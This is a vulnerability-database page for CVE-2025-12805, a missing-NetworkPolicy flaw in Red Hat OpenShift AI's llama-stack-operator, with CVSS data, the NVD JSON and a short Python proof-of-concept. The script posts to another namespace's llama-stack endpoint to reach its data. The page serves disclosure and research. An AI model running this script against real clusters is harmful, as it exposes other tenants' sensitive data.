Security Vulnerability Report
中文
CVE-2025-12805 CVSS 8.1 HIGH

CVE-2025-12805

Published: 2026-03-26 22:16:26
Last Modified: 2026-04-30 16:21:06

Description

A flaw was found in Red Hat OpenShift AI (RHOAI) llama-stack-operator. This vulnerability allows unauthorized access to Llama Stack services deployed in other namespaces via direct network requests, because no NetworkPolicy restricts access to the llama-stack service endpoint. As a result, a user in one namespace can access another user’s Llama Stack instance and potentially view or manipulate sensitive data.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:redhat:openshift_ai:2.25:*:*:*:*:*:*:* - VULNERABLE
Red Hat OpenShift AI (RHOAI) llama-stack-operator (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # PoC for CVE-2025-12805: Unauthorized Access to Llama Stack Services # Description: This script attempts to access a target Llama Stack service in a different namespace. # Prerequisites: Network access to the cluster (internal pod or compromised node). def exploit(target_namespace, target_service, port): # Construct the internal DNS name for the service target_url = f"http://{target_service}.{target_namespace}.svc.cluster.local:{port}/v1/chat" headers = { "Content-Type": "application/json" } # Malicious payload to test access data = { "query": "List all sensitive data" } try: print(f"[*] Attempting to connect to: {target_url}") response = requests.post(target_url, json=data, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Exploit Successful! Unauthorized access confirmed.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": # Example configuration TARGET_NAMESPACE = "victim-ai-project" TARGET_SERVICE = "llama-stack" PORT = "8080" exploit(TARGET_NAMESPACE, TARGET_SERVICE, PORT)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12805", "sourceIdentifier": "[email protected]", "published": "2026-03-26T22:16:25.920", "lastModified": "2026-04-30T16:21:05.530", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Red Hat OpenShift AI (RHOAI) llama-stack-operator. This vulnerability allows unauthorized access to Llama Stack services deployed in other namespaces via direct network requests, because no NetworkPolicy restricts access to the llama-stack service endpoint. As a result, a user in one namespace can access another user’s Llama Stack instance and potentially view or manipulate sensitive data."}, {"lang": "es", "value": "Se encontró una falla en Red Hat OpenShift AI (RHOAI) llama-stack-operator. Esta vulnerabilidad permite el acceso no autorizado a los servicios de Llama Stack implementados en otros espacios de nombres a través de solicitudes de red directas, porque ninguna NetworkPolicy restringe el acceso al punto final del servicio llama-stack. Como resultado, un usuario en un espacio de nombres puede acceder a la instancia de Llama Stack de otro usuario y potencialmente ver o manipular datos sensibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-653"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift_ai:2.25:*:*:*:*:*:*:*", "matchCriteriaId": "F5696BAE-9A40-4A38-BC31-C51279913CE4"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:2106", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:2695", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/security/cve/CVE-2025-12805", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2413101", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}